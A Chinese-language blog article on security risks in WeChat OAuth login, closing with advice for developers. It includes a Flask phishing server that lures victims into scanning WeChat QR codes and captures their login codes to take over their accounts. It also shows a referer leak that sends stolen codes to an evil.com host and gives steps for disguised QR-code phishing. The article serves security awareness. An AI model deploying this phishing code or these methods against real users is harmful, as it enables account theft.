當前位置: 華文頭條 > 推薦

談談微信授權下的安全風險

2024-02-15推薦

最近看到很多低價開各種虛擬會員服務,都是需要掃描微信或者QQ二維碼(二維碼還是他們自己搭建的介面)的方式進行充值,存在數據盜取弊端。

隨著微信成為國名級套用,很多公司的產品都實作了微信授權登入的入口,app、小程式、網頁端也都可以接入微信授權,復雜的流程中或多或少存在著一些可以利用的安全風險,下面簡單總結一下微信授權相關的安全風險。

1. 授權流程

首先來看下授權流程,微信授權的場景比較多,涉及app、網頁、小程式、公眾號等,只有先了解授權原理和過程,才能理解安全風險。

1.1 app授權

app授權這裏就用android來舉例,其官方文件位於https://developers.weixin.qq.com/doc/oplatform/Mobile_App/Resource_Center_Homepage.html,接入流程如下:

微信官方提供了android的sdk可以直接呼叫:

{ // send oauth request Final SendAuth.Req req = new SendAuth.Req(); req.scope = "snsapi_userinfo"; // 只能填 snsapi_userinfo req.state = "wechat_sdk_demo_test"; api.sendReq(req);}

根據接入文件和登入開發文件可以得出整體流程如下:

  1. 第三方app呼叫sdk發起微信授權申請,拉起微信app並且進入授權登入頁面
  2. 使用者點選同意登入後,微信會拉起第三方app,傳遞code參數給第三方app
  3. 第三方app拿到code參數後,透過參數換access_token或者別的登入態憑證

其中微信拉起第三方app的時候是透過拉起特定的activity來實作的,activity的命名規則統一為 包名.wxapi.WXEntryActivity ,比如com.xxx.xxx.wxapi.WXEntryActivity ,微信拉起第三方app時,傳遞的參數為Resp 類別,code在這個類的_wxapi_sendauth_resp_token 欄位裏:

1.2 網頁授權

網頁授權文件為:https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html

官方文件的流程圖和app授權一致,但是接入方式有所不同,總結下來主要是兩個步驟:

  1. 獲取code
  2. 透過code換access_token

下面以1號店為例,來演示如何實作微信授權網頁登入

  1. 使用者點選登入後,跳轉到https://open.weixin.qq.com/connect/qrconnect?appid=wxbdc5610cc59c1631&redirect_uri=https://passport.yhd.com/wechat/callback.do&scope=snsapi_login,其中appid為套用唯一標識,redirect_uri自訂,但是需要符合網域名稱白名單內,scope填寫snsapi_login即可。
  1. 網頁會透過xhr不斷輪訓結果,辨識使用者是否掃描&授權,如下圖,408表示等待掃碼,404表示已經掃碼等待授權,405表示已授權


  2. 輪訓結果返回405,拿到code參數,將會重新導向到redirect_uri的網址上,並且帶上code和state參數

redirect_uri?code=CODE&state=STATE

  1. code換access_token是在網站後台實作的,就不演示了

1.3 小程式授權

小程式授權和網頁授權差不多,文件https://developers.weixin.qq.com/miniprogram/dev/framework/open-ability/login.html,放一下經典的步驟:

其實主要需要理解的也就兩步:

  1. 微信小程式客戶端使用wx.login拿到code參數,並將這個參數傳遞到後端
  2. 後端攜帶code參數,存取微信伺服器,拿到openid,然後返回給客戶端登入態

這裏的wx.login是走的微信自訂的協定,所以無法透過http抓包拿到,但是可以透過hook拿到,這也是很多微信hook框架提供的主要功能

2. 安全風險

微信授權本身采用的是oautp協定,其沒有直接的安全風險,但是如果在使用過程中配置不當或者使用不當,則會帶來一定的釣魚風險。

2.1 app微信授權登入轉成掃碼登入

這個其實不算風險,但是也是一個可以利用起來的環節,這個問題其實最常見的需求是遊戲app,用王者榮耀舉例,王者榮耀只能透過微信或者qq登入,正常情況下必須要安裝登入微信才能授權王者,對於有兩個手機或者借號的情況比較麻煩,總不可能把微信密碼告訴別人。這個時候有個利用方式,就是將常規的授權登入轉成掃碼登入,其原理步驟如下:

  1. 利用微信掃碼的方式拿到微信code(這一步和微信網頁授權的原理很類似)
    1. 拿到app對應的appid和bundleid,appid可以透過靜態分析的方式拿到,在程式碼中搜尋 WXAPIFactory.createWXAPI 即可,bundleid一般就是packagename
    2. 存取https://open.weixin.qq.com/connect/app/qrconnect?appid=xxx&bundleid=xxx&scope=snsapi_base,snsapi_userinfo,snsapi_friend,snsapi_message&state=weixin,拿到二維碼和對應的uuid,比如王者榮耀對應的url為https://open.weixin.qq.com/connect/app/qrconnect?appid=wx95a3a4d7c627e07d&bundleid=com.tencent.smoba&scope=snsapi_base,snsapi_userinfo,snsapi_friend,snsapi_message&state=weixin
    3. 透過輪訓的方式拿到code(參考網頁授權的輪訓原理)

  2. 主動呼叫目標套用的activity,也就是 com.xxx.xxx.wxapi.WXEntryActivity ,將bundle.putString("_wxapi_sendauth_resp_token", code); 參數傳遞在intent中。

詳細資訊可以參考 https://github.com/Willh92/GameWxQRlogin

2.2 利用app登入進行掃碼盜號

這個和2.1中掃碼登入app的原理類似,當我們拿到code參數之後,我們只需要將code發送給伺服端即可拿到cookie,所以盜號的難點也就是拿到code參數,可以透過下面的步驟來進行釣魚盜號:

  1. 實作一個webserver,當有人存取時,隨機生成一個登入二維碼,展示到頁面
  2. 欺騙受害者存取webserver,並掃碼登入
  3. 使用者掃碼授權後,後台拿到code,並透過協定的方式發送登入包,拿到cookie

欺騙受害者可以透過很多方式,比如偽裝成掃碼領任務或者掃碼助力。下面是一些關鍵程式碼:

from flask import Flask,request,redirectfrom log import logimport reimport timefrom dache import get_uuid,get_code,get_tokenfrom concurrent.futures import ThreadPoolExecutorimport requestsfrom bs4 import BeautifulSoupapp = Flask(__name__)executor = ThreadPoolExecutor()# 生成uuid和二維碼連結def get_uuid() -> tuple: url = "https://open.weixin.qq.com/connect/app/qrconnect?appid=xxx&bundleid=com.xx.xx&scope=snsapi_userinfo" headers = { 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255' } r = requests.get(url, headers=headers) soup = BeautifulSoup(r.text, "lxml") code_url = soup.find('img', attrs={' class': "auth_qrcode"})['src'] uuid = code_url.split("/")[-1] return uuid, code_url# 透過uuid拿微信codedef get_code(uuid: str) -> tuple: headers = { 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255' } wx_errcode = "" wx_redirecturl = "" wx_nickname = "" wx_code = "" for _ in range(300): timestamp = int(round(time.time() * 1000)) url = f"https://long.open.weixin.qq.com/connect/l/qrconnect?uuid={uuid}&f=url&_={timestamp}" response = requests.request("GET", url, headers=headers) response.encoding = 'utf-8' wx_errcode = re.findall("window.wx_errcode=(.*?);", response.text)[0] wx_redirecturl = re.findall( "window.wx_redirecturl='(.*?)';", response.text)[0] wx_nickname = re.findall( "window.wx_nickname='(.*?)';", response.text)[0] log.info( f"wx_errcode:{wx_errcode}\twx_redirecturl:{wx_redirecturl}\twx_nickname:{wx_nickname}") if wx_errcode == "408": log.info(f"uuid:{uuid}等待掃碼") elif wx_errcode == "405": log.info(f"uuid:{uuid}成功掃碼並確認") wx_code = re.findall("code=(.*?)&", wx_redirecturl)[0] break elif wx_errcode == "404": log.info(f"uuid:{uuid}成功掃碼,等待確認") elif wx_errcode == "402": log.info(f"uuid:{uuid}二維碼過期") break return wx_errcode, wx_redirecturl, wx_nickname, wx_code# 微信code換tokendef get_token(wx_code: str) -> dict: passdef run(ip,uuid): wx_errcode, wx_redirecturl, wx_nickname, wx_code = get_code(uuid) # wxd8bd490776fa84a2://oauth?code=0216tvml2DUFba43rXml2peJrT26tvmx&state= log.info(f"{ip} {uuid}返回微信code為{wx_redirecturl}") if wx_redirecturl != "": log.info(f"{ip} {uuid} 微信昵稱為:{wx_nickname}") data = get_token(wx_code) log.info(f"{ip} {uuid} {wx_code}:登入成功")@app.route("/")def hello_world(): ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr) log.info(f"{ip} 接收到請求") uuid, code_url = get_uuid() log.info(f"{ip} 得到uuid:{uuid}, code_url:{code_url}") executor.submit(run, ip, uuid) return redirect(code_url, code=302)if __name__=="__main__": app.run(host="0.0.0.0",port=80, debug=False)

2.3 redirect_uri 校驗不嚴格導致釣魚

在網頁授權登入的過程中,以下面的連結舉例子https://open.weixin.qq.com/connect/qrconnect?appid=wxbdc5610cc59c1631&redirect_uri=https://passport.yhd.com/wechat/callback.do&scope=snsapi_login,使用者掃碼登入成功後,會把登入憑證code傳遞給回呼地址redirect_uri,如下所示:

https://passport.yhd.com/wechat/callback.do?code=CODE&state=STATE

這個redirect_uri這個值是我們可控的,但是微信會限制redirect_uri的網域名稱,如果a.com替換成b.com會顯示redirect_uri 參數錯誤,但是有時候如果配置了*.a.com,我們可以替換成其他的子體,如果子體下面存在問題,則會出現code盜取的情況,比如下面的情況:

假設某網站對redirect_uri的網域名稱限制為*.aaa.com,在b.aaa.com網域名稱下發現一個論壇,論壇貼文得回復可以插入第三方的圖片,將這兩點結合起來就可以透過referer來竊取code。

https://open.weixin.qq.com/connect/qrconnect?appid=xxxxx&redirect_uri=http://b.aaa.com/tiezi/123456&scope=snsapi_login

登入成功後會帶著code存取貼文:

http://b.aaa.com/tiezi/123456&code=xxxxxxxxx

而貼文中又有攻擊者插入的第三方圖片,在載入第三方圖片的時候,就把code傳輸出去了,完成code竊取:

GET http://www.evil.com/test.jpg

Referer: http://b.aaa.com/tiezi/123456&code=xxxxxxxxx

攻擊者拿到code和state之後,即可登入受害者的賬號。

2.4 關註公眾號登入環節的釣魚風險

「關註公眾號登入」指的是在 PC 網站上生成微信公眾號的二維碼,使用者使用微信 APP 掃碼,關註公眾號之後實作自動登入的過程。使用「關註公眾號登入」可以快速為公眾號引流,提升品牌黏性,但是在這個環節也存在一些安全風險。

下面先看一下實作原理,官方文件在https://developers.weixin.qq.com/doc/offiaccount/Account_Management/Generating_a_Parametric_QR_Code.html,

從開發的角度看,過程可以總結為下面幾個步驟:

  1. 網站後端請求微信伺服器生成access_token,這個access_token是可以持續用的,做過微信開發的應該比較熟悉
  2. 使用者開啟網頁登入頁面,這個過程也就是網頁前端向網頁後端請求登入二維碼的過程
    1. 後端接收到前端請求後,去請求微信伺服器,拿到ticket,返回給前端
    2. 前端拿到ticket後,去請求微信伺服器拿到二維碼圖片,顯示在頁面上

  3. 使用者掃碼後,關註公眾號後,微信伺服器會推播結果給網站後端,於是網站後端可以知道成功掃碼

  4. 之後前端不斷輪訓網頁後端,檢視使用者是否掃碼,如果掃碼後,後端會直接返回set-cookie給前端,登入完成在

上述過程在使用者掃碼時,是這麽說的:

  • 如果使用者還未關註公眾號,則使用者可以關註公眾號,關註後微信會將帶場景值關註事件推播給開發者。
  • 如果使用者已經關註公眾號,在使用者掃描後會自動進入會話,微信也會將帶場景值掃描事件推播給開發者。
  • 這樣就帶來一個問題,如果使用者已經關註公眾號了,那麽偽裝一個二維碼發給該使用者掃描, 則使用者掃描後,無需二次確認按鈕,會直接登入。

    作弊流程如下:

    1. 攻擊者去請求某網站登入url生成ticket
    2. 攻擊者根據ticket去請求微信伺服器生成二維碼
    3. 將二維碼偽裝一下,發給受害者
    4. 攻擊者不斷輪訓網站後端,等待受害者掃碼後,即可拿到cookie,即成功獲取登入態

    上面的124步都可以透過協定包裝成釣魚網站實作, 使用者掃碼後即使知道被盜號,也無能為力了

    2.5 微信code濫用問題

    不管是移動app、p網頁還是微信小程式,涉及到微信授權的部份最關鍵的就是code參數,後端拿到code後,可以換到openid,openid又能夠標識唯一微信,所以對於很多套用來說,拿到了code,就相當於拿到了微信。

    而微信授權早已經被黑產做成了產業鏈,其中主要的功能就是提供各大套用的微信code,所以即使沒有微訊號,也可以批次獲取code,下面是一些相關app的截圖:

    所以在使用微信授權時,不要只依靠code來標識使用者, 最好是同步獲取手機號,再傳輸過程中采用加密傳輸和簽名校驗,增加攻擊成本,還可以結合微信對openid的風險評級來做相應的二次驗證,官方文件在:https://developers.weixin.qq.com/minigame/dev/guide/open-ability/security.html

    from https://blog.upx8.com/4042